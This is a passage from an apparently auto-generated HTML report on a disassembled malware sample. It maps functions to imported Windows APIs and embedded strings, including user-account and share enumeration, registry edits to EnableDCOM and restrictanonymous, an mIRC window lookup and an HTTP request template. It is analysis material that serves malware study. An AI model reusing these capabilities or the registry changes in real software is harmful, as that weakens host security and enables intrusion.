	"NetShareEnum"
	"NetScheduleJobAdd"
	"NetApiBufferFree"
	"NetRemoteTOD"
	"NetUserAdd"
	"NetUserDel"
	"NetUserEnum"
	"NetUserGetInfo"
	"NetMessageBufferSend"
	"dnsapi.dll"
	"DnsFlushResolverCache"
	"DnsFlushResolverCacheEntry_A"
	"iphlpapi.dll"
	"DeleteIpNetEntry"
	"mpr.dll"
	"WNetAddConnection2A"
	"WNetAddConnection2W"
	"WNetCancelConnection2A"
	"WNetCancelConnection2W"
	"shell32.dll"
	"SHChangeNotify"
	"odbc32.dll"
	"SQLDriverConnect"
	"SQLAllocHandle"
</font></pre></td></tr><tr id="sub_40731F"><td><pre><a name="sub_40731F"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40731F"><font size=+2>sub_40731F</a>(d0c3)</font>:<font color=darkgreen>
	WS2_32.inet_addr
	WS2_32.gethostbyname</font>
<font color=brown></font></pre></td></tr><tr id="sub_41413C"><td><pre><a name="sub_41413C"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_41413C"><font size=+2>sub_41413C</a>(d2f6)</font>:<font color=darkgreen>
	KERNEL32.RaiseException</font>
<font color=brown></font></pre></td></tr><tr id="sub_41237F"><td><pre><a name="sub_41237F"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_41237F"><font size=+2>sub_41237F</a>(d50c)</font>:<font color=darkgreen>
	NTDLL.RtlAllocateHeap
	NTDLL.RtlReAllocateHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_408978"><td><pre><a name="sub_408978"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_408978"><font size=+2>sub_408978</a>(dc5b)</font>:<font color=darkgreen>
	KERNEL32.GetLogicalDriveStringsA</font>
<font color=brown>
	"A:\\"
</font></pre></td></tr><tr id="sub_40FC75"><td><pre><a name="sub_40FC75"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40FC75"><font size=+2>sub_40FC75</a>(dcb6)</font>:<font color=darkgreen>
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey</font>
<font color=brown>
	"Software\\Microsoft\\OLE"
	"EnableDCOM"
	"SYSTEM\\CurrentControlSet\\Control\\Lsa"
	"restrictanonymous"
</font></pre></td></tr><tr id="sub_406F91"><td><pre><a name="sub_406F91"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_406F91"><font size=+2>sub_406F91</a>(df2a)</font>:<font color=darkgreen>
	USER32.FindWindowA
	USER32.SendMessageA
	KERNEL32.CloseHandle</font>
<font color=brown>
	"mIRC"
</font></pre></td></tr><tr id="sub_4125E9"><td><pre><a name="sub_4125E9"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4125E9"><font size=+2>sub_4125E9</a>(e06e)</font>:<font color=darkgreen>
	KERNEL32.ExitProcess</font>
<font color=brown></font></pre></td></tr><tr id="sub_407435"><td><pre><a name="sub_407435"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_407435"><font size=+2>sub_407435</a>(e076)</font>:<font color=darkgreen>
	WS2_32.getsockname</font>
<font color=brown>
	"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_4048A1"><td><pre><a name="sub_4048A1"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4048A1"><font size=+2>sub_4048A1</a>(e1a1)</font>:<font color=darkgreen>
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket
	WS2_32.WSACleanup</font>
<font color=brown>
	"%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
</font></pre></td></tr><tr id="sub_413512"><td><pre><a name="sub_413512"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_413512"><font size=+2>sub_413512</a>(e71f)</font>:<font color=darkgreen>
	NTDLL.RtlAllocateHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_407E0E"><td><pre><a name="sub_407E0E"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_407E0E"><font size=+2>sub_407E0E</a>(edda)</font>:<font color=darkgreen>
	KERNEL32.GetLocalTime</font>
<font color=brown>
	"[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
</font></pre></td></tr><tr id="sub_40238E"><td><pre><a name="sub_40238E"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40238E"><font size=+2>sub_40238E</a>(f1cc)</font>:<font color=brown>
	"CCCC"
</font></pre></td></tr><tr id="sub_4088A6"><td><pre><a name="sub_4088A6"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_4088A6"><font size=+2>sub_4088A6</a>(f5ac)</font>:<font color=brown>
	"failed"
</font></pre></td></tr><tr id="sub_40380D"><td><pre><a name="sub_40380D"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_40380D"><font size=+2>sub_40380D</a>(fa76)</font>:<font color=darkgreen>
	WS2_32.send
	KERNEL32.Sleep
	WS2_32.closesocket
	WS2_32.WSACleanup</font>
<font color=brown>
	"rb"
</font></pre></td></tr><tr id="sub_410C4D"><td><pre><a name="sub_410C4D"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_410C4D"><font size=+2>sub_410C4D</a>(fd6e)</font>:<font color=darkgreen>
	NTDLL.RtlAllocateHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_41A654"><td><pre><a name="sub_41A654"></a><a href="5bcdb5fde7580695028f471fb4df2077_unpacked.asm.html#sub_41A654"><font size=+2>sub_41A654</a>(fe6c)</font>:<font color=darkgreen>
	KERNEL32.WideCharToMultiByte</font>
<font color=brown></font></pre></td></tr></table><script>
document.getElementById(window.location.href.split('#')[1]).setAttribute("style", "background-color:#ddddff");
</script>
</html>